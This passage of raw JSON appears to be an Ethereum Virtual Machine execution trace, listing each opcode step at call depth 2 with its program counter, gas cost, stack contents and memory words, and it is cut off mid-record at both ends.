c":2224,"op":"PUSH1","gas":73244,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2226,"op":"SSTORE","gas":73241,"gasCost":2900,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2227,"op":"DUP3","gas":70341,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2228,"op":"ISZERO","gas":70338,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2229,"op":"ISZERO","gas":70335,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2230,"op":"DUP1","gas":70332,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2231,"op":"PUSH2","gas":70329,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2234,"op":"JUMPI","gas":70326,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0x8c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2240,"op":"JUMPDEST","gas":70316,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2241,"op":"PUSH2","gas":70315,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2244,"op":"JUMPI","gas":70312,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x916"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2326,"op":"JUMPDEST","gas":70302,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2327,"op":"PUSH1","gas":70301,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2329,"op":"DUP1","gas":70298,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2330,"op":"PUSH2","gas":70295,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2333,"op":"PUSH1","gas":70292,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2335,"op":"SLOAD","gas":70289,"gasCost":100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926","0x9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2336,"op":"PUSH1","gas":70189,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2338,"op":"SLOAD","gas":70186,"gasCost":100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926","0xc50dfd48a20630e6","0xa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2339,"op":"SWAP1","gas":70086,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2340,"op":"SWAP2","gas":70083,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x926","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2341,"op":"JUMP","gas":70080,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x926"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2342,"op":"JUMPDEST","gas":70072,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2343,"op":"SWAP2","gas":70071,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2344,"op":"POP","gas":70068,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2345,"op":"SWAP2","gas":70066,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2346,"op":"POP","gas":70063,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2347,"op":"DUP2","gas":70061,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2348,"op":"DUP6","gas":70058,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2349,"op":"LT","gas":70055,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2350,"op":"DUP1","gas":70052,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2351,"op":"ISZERO","gas":70049,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2352,"op":"PUSH2","gas":70046,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2355,"op":"JUMPI","gas":70043,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x0","0x938"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2356,"op":"POP","gas":70033,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2357,"op":"DUP1","gas":70031,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2358,"op":"DUP5","gas":70028,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2359,"op":"LT","gas":70025,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2360,"op":"JUMPDEST","gas":70022,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2361,"op":"PUSH2","gas":70021,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2364,"op":"JUMPI","gas":70018,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x1","0x984"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2436,"op":"JUMPDEST","gas":70008,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2437,"op":"PUSH1","gas":70007,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2439,"op":"SLOAD","gas":70004,"gasCost":2100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2440,"op":"PUSH1","gas":67904,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2442,"op":"SLOAD","gas":67901,"gasCost":2100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2443,"op":"PUSH1","gas":65801,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2445,"op":"SWAP2","gas":65798,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2446,"op":"DUP3","gas":65795,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2447,"op":"SWAP2","gas":65792,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2448,"op":"PUSH1","gas":65789,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2450,"op":"PUSH1","gas":65786,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2452,"op":"PUSH1","gas":65783,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2454,"op":"SHL","gas":65780,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2455,"op":"SUB","gas":65777,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2456,"op":"SWAP2","gas":65774,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2457,"op":"DUP3","gas":65771,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2458,"op":"AND","gas":65768,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2459,"op":"SWAP2","gas":65765,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2460,"op":"SWAP1","gas":65762,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2461,"op":"DUP2","gas":65759,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2462,"op":"AND","gas":65756,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2463,"op":"SWAP1","gas":65753,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2464,"op":"DUP8","gas":65750,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2465,"op":"AND","gas":65747,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x87132c